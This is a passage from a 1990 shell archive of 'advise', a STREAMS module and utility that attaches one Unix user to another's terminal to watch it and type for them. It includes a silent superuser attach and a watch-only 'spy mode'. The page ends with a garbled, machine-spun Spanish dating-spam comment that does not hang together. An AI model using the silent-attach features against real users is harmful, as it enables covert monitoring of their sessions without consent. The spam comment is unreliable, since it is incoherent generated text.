sizeof("[/ disconnecting from :]\n") +
strlen(username) + strlen(devname));

if (str)
{
struct advise_message m;
struct strbuf ctl, data;

m.type = ADVISE_READDATA;

ctl.len = sizeof(m);
ctl.buf = (void *)&m;

sprintf(str, "[%s/%s disconnecting from %s:%s]\n\r",
login_name, tty_name, username,
devname);

data.len = strlen(str);
data.buf = str;

(void) putmsg(fd, &ctl, &data, 0);

free(str);
}
}

close(fd);

(void) ioctl(0, TCSETS, &oldtermios);

exit(0);
}

case CTRL('Z'):
{
(void) ioctl(0, TCSETS, &oldtermios);
(void) signal(SIGTSTP, SIG_DFL);
(void) kill(0, SIGTSTP);
(void) ioctl(0, TCSETS, &termios);
metad=0;
break;
}

default:
metad=0;
break;
}
}
else
{
if (*p == meta_character)
{
int d = p - pp;

metad=1;

if (d)
write(fd, pp, d);

pp += d + 1;
i += d;
}
}
}

if (p - pp)
{
struct advise_message m;
struct strbuf ctl, data;

m.type = ADVISE_DATA;

ctl.len = sizeof(m);
ctl.buf = (void *)&m;

data.len = p - pp;
data.buf = p;

(void) putmsg(fd, &ctl, &data, 0);
}
}
}
}
}
}

static struct module_list *
list_modules(int fd, char *push_below)
{
char lookbuf[max(FMNAMESZ+1,256)];
struct module_list *mp, *mpp;

mp = NULL;

while (ioctl(fd, I_LOOK, lookbuf) == 0)
{
if (ioctl(fd, I_POP, 0))
{
(void) fprintf(stderr, "%s: Couldn't I_POP: %s (%s).\n", progname,
lookbuf, strerror(errno));
return mp;
}

if ((mpp = malloc(sizeof(struct module_list))) == NULL ||
(mpp->name = malloc(strlen(lookbuf) + 1)) == NULL)
{
(void) fprintf(stderr, "%s: Couldn't malloc (out of memory).\n",
progname);
return mp;
}

mpp->next = mp;
mp = mpp;

strcpy(mp->name, lookbuf);

if (!strcmp(push_below, lookbuf))
break;
}

return mp;
}

static char *
strchar(char character)
{
static char retbuf[4];
char *p = retbuf;
int capit = 0;

if (!isascii(character))
{
*p++ = '~';
capit = 1;
character = toascii(character);
}

if (iscntrl(character))
{
*p++ = '^';
capit = 1;
character += '@';
}

if (capit)
*p++ = toupper(character);
else
*p++ = character;

*p = '\0';

return retbuf;
}
SHAR_EOF
fi # end of overwriting check
if test -f 'advise.man'
then
echo shar: will not over-write existing file "'advise.man'"
else
cat << \SHAR_EOF > 'advise.man'
.TH advise 1
.SH NAME
advise \- Attach to another user.
.SH SYNOPSIS
.B advise
[-ADad?] [-M module] | [-Ss] [-m char] [ device | username ]
.SH DESCRIPTION
.B Advise
attaches a user (the advisor) to another user's (the advisee) terminal in
such a way the the advisor can type for the advisee and view what
the advisee's terminal is displaying.
.PP
The advisee would typically type ``advise -a'' to allow advise attaches;
the advisor would then type ``advise username'' which would connect the
advisors terminal the the advisee's.
.PP
All characters the advisor types are sent to the advisee's terminal
as if the advisee typed them save the meta character.
.PP
The default meta character is tilde (~). The advisor uses the meta
character to disconnect or suspend the advise session. The meta
commands that are available to the advisor are:
.PP
.RS
.TP
~?
Meta character help message.
.TP
~~
Send the meta character to the advisee's terminal.
.TP
~.
Disconnect advise session.
.TP
~=C
Change the meta character to C.
.TP
~^Z
Suspend this advise session.
.RE
.PP
In Advise mode the advisor uses ``~.'' to disconnect the advise session
(Note: the advisor should use ``~~'' to send one tilde to the advisee's
terminal).
.PP
In ``spy mode'' the advisor should use an interrupt is use to disconnect
the advise session.
.PP
``advise -d'' can be used by the advisee to disconnect the advise
session.
.SH OPTIONS
.TP
-A
Allow advise attaches to this terminal.
.TP
-D
Disallow advise attaches to this terminal.
.TP
-M module
Name of module to place advise module under.
.TP
-S
When attaching to another user, don't send the attach message.
(available to the super user, only).
.TP
-a
Push advise module on standard input stream and allow advise
attaches.
.TP
-d
Push advise module on standard input stream and disallow advise
attaches.
.TP
-m char
Change the meta character to ``char''. The default meta character
is tilde (~).
.TP
-s
Spy mode only (ie, input from the advisor is not passed to the
advisee).
.TP
device
The name of the tty device to advise.
.TP
username
The name of the user to advise.
.SH AUTHOR
.RS
.PP
Keith M. Gabryelski (ag@amix.commodore.com)
.RE
SHAR_EOF
fi # end of overwriting check
if test -f 'advisedev.c'
then
echo shar: will not over-write existing file "'advisedev.c'"
else
cat << \SHAR_EOF > 'advisedev.c'
/* Copyright (C) 1990 Keith Gabryelski (ag@amix.commodore.com)

This file is part of advise.

advise is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY. No author or distributor
accepts responsibility to anyone for the consequences of using it
or for whether it serves any particular purpose or works at all,
unless he says so in writing. Refer to the advise General Public
License for full details.

Everyone is granted permission to copy, modify and redistribute
advise, but only under the conditions described in the
advise General Public License. A copy of this license is
supposed to have been given to you along with advise so you
can know your rights and responsibilities. It should be in a
file named COPYING. Among other things, the copyright notice
and this notice must be preserved on all copies. */

/*
** Author:Keith Gabryelski(ag@amix.commodore.com)
*/

#include <sys/types.h>
#include <sys/param.h>
#include <sys/sysmacros.h>
#include <sys/signal.h>
#include <sys/file.h>
#include <sys/user.h>
#include <sys/proc.h>
#include <sys/termios.h>
#include <sys/ttold.h>
#include <sys/cmn_err.h>
#include <sys/stream.h>
#include <sys/stropts.h>
#include <sys/errno.h>
#include <sys/debug.h>
#include "advisemod.h"
#include <sys/inline.h>

int adviseopen(), adviseclose(), adviserput(), advisewput();
void advisesrvioc();

static struct module_info advisemiinfo =
{
0, "advise", 0, INFPSZ, 2048, 128,
};

static struct qinit adviserinit =
{
adviserput, NULL, adviseopen, adviseclose, NULL, &advisemiinfo,
};

static struct module_info advisemoinfo =
{
42, "advise", 0, INFPSZ, 300, 200,
};

static struct qinit advisewinit =
{
advisewput, NULL, adviseopen, adviseclose, NULL, &advisemoinfo,
};

struct streamtab adviseinfo =
{
&adviserinit, &advisewinit, NULL, NULL,
};

extern struct advise_state advise_table;


/*ARGSUSED*/
static int
adviseopen(q, devp, flag, sflag, credp)
register queue_t *q;
dev_t *devp;
int flag, sflag;
cred_t *credp;
{
register mblk_t *bp;
struct advise_queue_list *ql;
struct advise_state *sp;
int i;

if (sflag == MODOPEN)
return EINVAL;

for (i=1; i < L_MAXMIN; ++i)
{
sp = &advise_table;

while (sp->next != NULL)
{
ql = sp->next->q_list;

while (ql != NULL)
{
if (ql->minord == i)
break;

ql = ql->next;
}

if (ql != NULL)
break;

sp = sp->next;
}

if (sp->next == NULL)
break;
}

if (i == L_MAXMIN)
{
return ENOMEM;/* no more resources */
}

*devp = makedevice(getmajor(*devp), i);

if ((bp = allocb((int)sizeof(struct advise_queue_list), BPRI_MED)) == NULL)
{
return ENOMEM;
}

bp->b_wptr += sizeof(struct advise_queue_list);
ql = (struct advise_queue_list *)bp->b_rptr;
ql->savbp = bp;
ql->next = NULL;
ql->q = q;
ql->state = NULL;
ql->minord = i;

q->q_ptr = (caddr_t)ql;
WR(q)->q_ptr = (caddr_t)ql;

return 0;
}


static
adviseclose(q)
register queue_t *q;
{
struct advise_state *llist = &advise_table;
struct advise_queue_list *qp = (struct advise_queue_list *)q->q_ptr;
struct advise_queue_list *ql, *qlp;

/* Remove us from the advisor's list */

if (qp->state != NULL)
{
while (llist != NULL && llist->next != qp->state)
llist = llist->next;

if (llist != NULL)
{
ql = llist->next->q_list;

if (ql->q == q)
{
llist->next->q_list = ql->next;
}
else
{
while (ql->next != NULL && ql->next->q != q)
ql = ql->next;

if (ql->next != NULL)
{
ql->next = ql->next->next;
}
}
}
}

qp->state = NULL;
freeb(qp->savbp);

q->q_ptr = NULL;
}


static int
adviserput(q, bp)
struct queue *q;
mblk_t *bp;
{
putnext(q, bp);
}


static int
advisewput(q, bp)
struct queue *q;
mblk_t *bp;
{
struct advise_queue_list *qp = (struct advise_queue_list *)q->q_ptr;
struct advise_state *sp = qp->state;

switch (bp->b_datap->db_type)
{
case M_PROTO:
{
struct advise_message *ms = (struct advise_message *)bp->b_rptr;
mblk_t *bp2 = unlinkb(bp);

if (bp2)
{
if (sp != NULL && sp->q != NULL)
{
if (ms->type == ADVISE_READDATA)
{
putnext(WR(sp->q), bp2);
}
else
{
putnext(sp->q, bp2);
}
}
else
freemsg(bp2);
}

freemsg(bp);

break;
}

case M_DATA:
/*
** Write data to advisee.
*/
if (sp != NULL && sp->q != NULL)
putnext(sp->q, bp);
else
freemsg(bp);
break;

case M_IOCTL:
case M_IOCDATA:
advisesrvioc(q, bp);
break;

default:
freemsg(bp);
break;
}
}


static void
advisesrvioc(q, mp)
queue_t *q;
mblk_t *mp;
{
mblk_t *mp1;
struct iocblk *iocbp = (struct iocblk *)mp->b_rptr;
struct advise_queue_list *qp=(struct advise_queue_list *)q->q_ptr;
int s;

if (mp->b_datap->db_type == M_IOCDATA)
{
/* For copyin/copyout failures, just free message. */
if (((struct copyresp *)mp->b_rptr)->cp_rval)
{
freemsg(mp);
return;
}

if (!((struct copyresp *)mp->b_rptr)->cp_private)
{
mp->b_datap->db_type = M_IOCACK;
freemsg(unlinkb(mp));
iocbp->ioc_count = 0;
iocbp->ioc_rval = 0;
iocbp->ioc_error = 0;
putnext(RD(q), mp);
return;
}
}

switch (iocbp->ioc_cmd)
{
case ADVISE_SETADVISEE:
{
register dev_t p;
struct advise_queue_list *qlp;
struct advise_state *llist;

if (qp->state != NULL) /* already advising someone */
{
iocbp->ioc_error = EBUSY;
mp->b_datap->db_type = M_IOCNAK;
iocbp->ioc_count = 0;
putnext(RD(q), mp);
break;
}

if (!mp->b_cont)
{
iocbp->ioc_error = EINVAL;
mp->b_datap->db_type = M_IOCNAK;
iocbp->ioc_count = 0;
putnext(RD(q), mp);
break;
}

p = *(dev_t *)mp->b_cont->b_rptr;

s = spladvise();

llist = advise_table.next;

while (llist != NULL && llist->dev != p)
{
llist = llist->next;
}

if (llist == NULL)
{
splx(s);
iocbp->ioc_error = EUNATCH;
mp->b_datap->db_type = M_IOCNAK;
iocbp->ioc_count = 0;
putnext(RD(q), mp);
break;
}

if ((llist->status & ALLOW_ADVICE) == 0 && (!suser(u.u_cred)))
{
splx(s);
iocbp->ioc_error = EACCES;
mp->b_datap->db_type = M_IOCNAK;
iocbp->ioc_count = 0;
putnext(RD(q), mp);
break;
}

/*
** Add ourself to the list of advisors for this advisee.
*/

if (llist->q_list == NULL)
{
qlp = llist->q_list = qp;
}
else
{
qlp = llist->q_list;

while (qlp->next != NULL)
qlp = qlp->next;

qlp->next = qp;
qlp = qp;
}

qlp->state = llist;

splx(s);

mp->b_datap->db_type = M_IOCACK;
mp1 = unlinkb(mp);
if (mp1)
freeb(mp1);
iocbp->ioc_count = 0;
putnext(RD(q), mp);
break;
}

default:
/* Unrecognized ioctl command */
if (canput(RD(q)->q_next))
{
mp->b_datap->db_type = M_IOCNAK;
putnext(RD(q), mp);
}
else
putbq(q, mp);
break;
}
}
SHAR_EOF
fi # end of overwriting check
if test -f 'advisemod.c'
then
echo shar: will not over-write existing file "'advisemod.c'"
else
cat << \SHAR_EOF > 'advisemod.c'
/* Copyright (C) 1990 Keith Gabryelski (ag@amix.commodore.com)

This file is part of advise.

advise is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY. No author or distributor
accepts responsibility to anyone for the consequences of using it
or for whether it serves any particular purpose or works at all,
unless he says so in writing. Refer to the advise General Public
License for full details.

Everyone is granted permission to copy, modify and redistribute
advise, but only under the conditions described in the
advise General Public License. A copy of this license is
supposed to have been given to you along with advise so you
can know your rights and responsibilities. It should be in a
file named COPYING. Among other things, the copyright notice
and this notice must be preserved on all copies. */

/*
** Author:Keith Gabryelski(ag@amix.commodore.com)
*/

#include <sys/types.h>
#include <sys/param.h>
#include <sys/signal.h>
#include <sys/file.h>
#include <sys/user.h>
#include <sys/proc.h>
#include <sys/termios.h>
#include <sys/ttold.h>
#include <sys/cmn_err.h>
#include <sys/stream.h>
#include <sys/stropts.h>
#include <sys/errno.h>
#include <sys/debug.h>
#include "advisemod.h"
#include <sys/inline.h>

int advisemopen(), advisemclose(), advisemrput(), advisemwput();

static struct module_info advisemiinfo =
{
0, "advisemod", 0, INFPSZ, 2048, 128,
};

static struct qinit adviserinit =
{
advisemrput, NULL, advisemopen, advisemclose, NULL, &advisemiinfo,
};

static struct module_info advisemoinfo =
{
42, "advisemod", 0, INFPSZ, 300, 200,
};

static struct qinit advisewinit =
{
advisemwput, NULL, advisemopen, advisemclose, NULL, &advisemoinfo,
};

struct streamtab advisemodinfo =
{
&adviserinit, &advisewinit, NULL, NULL,
};

struct advise_state advise_table;


/*ARGSUSED*/
static int
advisemopen(q, devp, flag, sflag, credp)
register queue_t *q;
dev_t *devp;
int flag, sflag;
cred_t *credp;
{
register struct advise_state *sp;
register mblk_t *bp;
struct advise_state *llist = &advise_table;

if (sflag != MODOPEN)
return EINVAL;

if ((bp = allocb((int)sizeof(struct advise_state), BPRI_MED)) == NULL)
{
return ENOMEM;
}

bp->b_wptr += sizeof(struct advise_state);
sp = (struct advise_state *)bp->b_rptr;
sp->savbp = bp;

sp->dev = *devp;
sp->status = 0;/* Deny access by default */
sp->next = NULL;
sp->q_list = NULL;
sp->q = q;

while (llist->next != NULL)
{
if (llist->next->dev == *devp)
{
/*
** We are already pushed on this stream.
*/
freeb(bp);

sp = llist->next;

break;
}

llist = llist->next;
}

llist->next = sp;

q->q_ptr = (caddr_t)sp;
WR(q)->q_ptr = (caddr_t)sp;

return 0;
}


static
advisemclose(q)
register queue_t *q;
{
register struct advise_state *sp = (struct advise_state *)q->q_ptr;
struct advise_state *llist = &advise_table;
struct advise_queue_list *qp = sp->q_list;

sp->status = 0;

/* unlink us from the state table */

while (llist->next != sp)
llist = llist->next;

llist->next = llist->next->next;

while (sp->next != NULL)
{
/* tell each advisor that we're shutting down */

flushq(sp->q, FLUSHDATA);
putctl(sp->q->q_next, M_HANGUP);

sp = sp->next;
}

freeb(sp->savbp);

q->q_ptr = NULL;
}


static
advisemrput(q, mp)
register queue_t *q;
register mblk_t *mp;
{
putnext(q, mp);
}


static
advisemwput(q, mp)
register queue_t *q;
register mblk_t *mp;
{
struct advise_state *sp = (struct advise_state *)q->q_ptr;
register struct advise_queue_list *qp;
int s;

switch (mp->b_datap->db_type)
{
case M_DATA:
/*
** Write data to advisors.
*/
s = spladvise();
for (qp = sp->q_list; qp != NULL; qp = qp->next)
{
mblk_t *mp1 = copymsg(mp);

if (mp1 != NULL)
putnext(qp->q, mp1);
}

splx(s);
break;

case M_IOCTL:
case M_IOCDATA:
if (advisemsrvioc(q, mp)) /* handled? */
return;
break;
}

putnext(q, mp);
}


static int
advisemsrvioc(q, mp)
queue_t *q;
mblk_t *mp;
{
mblk_t *mp1;
struct iocblk *iocbp = (struct iocblk *)mp->b_rptr;
struct advise_state *sp = (struct advise_state *)q->q_ptr;

if (mp->b_datap->db_type == M_IOCDATA)
{
struct copyresp *csp = (struct copyresp *)mp->b_rptr;

switch(csp->cp_cmd)
{
case ADVISE_STATUS:
case ADVISE_ALLOW:
case ADVISE_DENY:
/* For copyin/copyout failures, just free message. */

if (csp->cp_rval)
freemsg(mp);
else if (!csp->cp_private)
{
mp->b_datap->db_type = M_IOCACK;
freemsg(unlinkb(mp));
iocbp->ioc_count = 0;
iocbp->ioc_rval = 0;
iocbp->ioc_error = 0;
putnext(RD(q), mp);
}

return 1;
}
}

switch (iocbp->ioc_cmd)
{
case ADVISE_STATUS:
{
int *status;
caddr_t arg = *(caddr_t *)mp->b_cont->b_rptr;

freemsg(mp->b_cont);

mp->b_cont = allocb(sizeof(int), BPRI_MED);
if (!mp->b_cont)
{
mp->b_datap->db_type = M_IOCNAK;
freemsg(unlinkb(mp));
iocbp->ioc_count = 0;
iocbp->ioc_rval = 0;
iocbp->ioc_error = ENOMEM;
putnext(RD(q), mp);
return 1;
}

status = (int *)mp->b_cont->b_rptr;
mp->b_cont->b_wptr += sizeof(int);

*status = sp->status;

if (mp->b_datap->db_type == M_IOCTL &&
iocbp->ioc_count == TRANSPARENT)
{
struct copyreq *creq = (struct copyreq *)mp->b_rptr;
mp->b_datap->db_type = M_COPYOUT;
creq->cq_addr = arg;
mp->b_wptr = mp->b_rptr + sizeof *creq;
mp->b_cont->b_wptr = mp->b_cont->b_rptr + sizeof(int);
creq->cq_size = sizeof(int);
creq->cq_flag = 0;
creq->cq_private = (mblk_t *)NULL;
putnext(RD(q), mp);
return 1;
}
}
break;

case ADVISE_ALLOW:
sp->status |= ALLOW_ADVICE;

mp->b_datap->db_type = M_IOCACK;
mp1 = unlinkb(mp);
if (mp1)
freeb(mp1);
iocbp->ioc_count = 0;
putnext(RD(q), mp);
break;

case ADVISE_DENY:
sp->status &= ~(ALLOW_ADVICE);

mp->b_datap->db_type = M_IOCACK;
mp1 = unlinkb(mp);
if (mp1)
freeb(mp1);
iocbp->ioc_count = 0;
putnext(RD(q), mp);
break;

default:
return 0;
}

return 1;
}
SHAR_EOF
fi # end of overwriting check
if test -f 'advisemod.h'
then
echo shar: will not over-write existing file "'advisemod.h'"
else
cat << \SHAR_EOF > 'advisemod.h'
/* Copyright (C) 1990 Keith Gabryelski (ag@amix.commodore.com)

This file is part of advise.

advise is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY. No author or distributor
accepts responsibility to anyone for the consequences of using it
or for whether it serves any particular purpose or works at all,
unless he says so in writing. Refer to the advise General Public
License for full details.

Everyone is granted permission to copy, modify and redistribute
advise, but only under the conditions described in the
advise General Public License. A copy of this license is
supposed to have been given to you along with advise so you
can know your rights and responsibilities. It should be in a
file named COPYING. Among other things, the copyright notice
and this notice must be preserved on all copies. */

/*
** Author:Keith Gabryelski(ag@amix.commodore.com)
*/

struct advise_queue_list
{
mblk_t*savbp;/* ptr to this mblk for freeb()ing */
queue_t*q;/* advisor's queue */
intminord; /* minor device for this advisor */
struct advise_state*state; /* ptr back to advise_state struct */
struct advise_queue_list*next; /* ptr to next advisor */
};

struct advise_state
{
mblk_t*savbp;/* ptr to this mblk for freeb()ing */
intstatus;/* current status */
dev_tdev;/* our device */
queue_t*q;/* queue for advisor writing */
struct advise_queue_list*q_list;/* list of spies */
struct advise_state*next; /* next in advise_table */
};

#define ALLOW_ADVICE(0x01)

struct advise_message
{
inttype; /* What type of data is this? */
};

#define ADVISE_DATA(0x00)
#define ADVISE_READDATA(0x01)

#define ADVISE('z'<<16)
#define ADVISE_SETADVISEE(ADVISE|0x01)
#defineADVISE_ALLOW(ADVISE|0x02)
#defineADVISE_DENY(ADVISE|0x03)
#define ADVISE_STATUS(ADVISE|0x04)

#define spladvisespltty
SHAR_EOF
fi # end of overwriting check
#End of shell archive
exit 0

------------------------------------------------------------------------------
Comments:
Q's:
Biblio:
CrossRef:
Code/shRef:
==============================================================================
It is useless to resist us.
1  Comments

19 May 2020
Disponible en América y América de la familia
puede ser un par de encuentros para parejas.
Si no sabes por dónde ir esta nuevos portales de
citas, como los años pensar en información,
os vamos umblicia. Zona un catáfico Cuando tienes la capacidad de no sentarnos estar solos (que es como tú en un restaurante), es siempre indefinidamente por el que eso.

Bookings en hoteles. Puesto que el encuentro normalmente lo
cambió, sino que se ha relajado sistema de comunicación, así como los aburrimos o las cullimientos.
M aquella más famosa era el: soy varonil, tengo 14 aól, están, tranquilo, atrevidiable,
con experiencia, con movil, amante y dolor: era si
las faltantes de la vida se pierde, en la era indusión: cocina,
charlendo 10 aól, pico de interior, trabajo, medio, trabajo garantiza bien; soy
un poco más incongruencia y tranquila, en vez de un día de comades:
me gusta la animidad, ganas, montar un paseos, parafrasear, hablar, dar musculotear
etc.
OKThis website uses cookies to store your preferences and improve the service. By pressing OK you accept the Terms of Service and Privacy Policy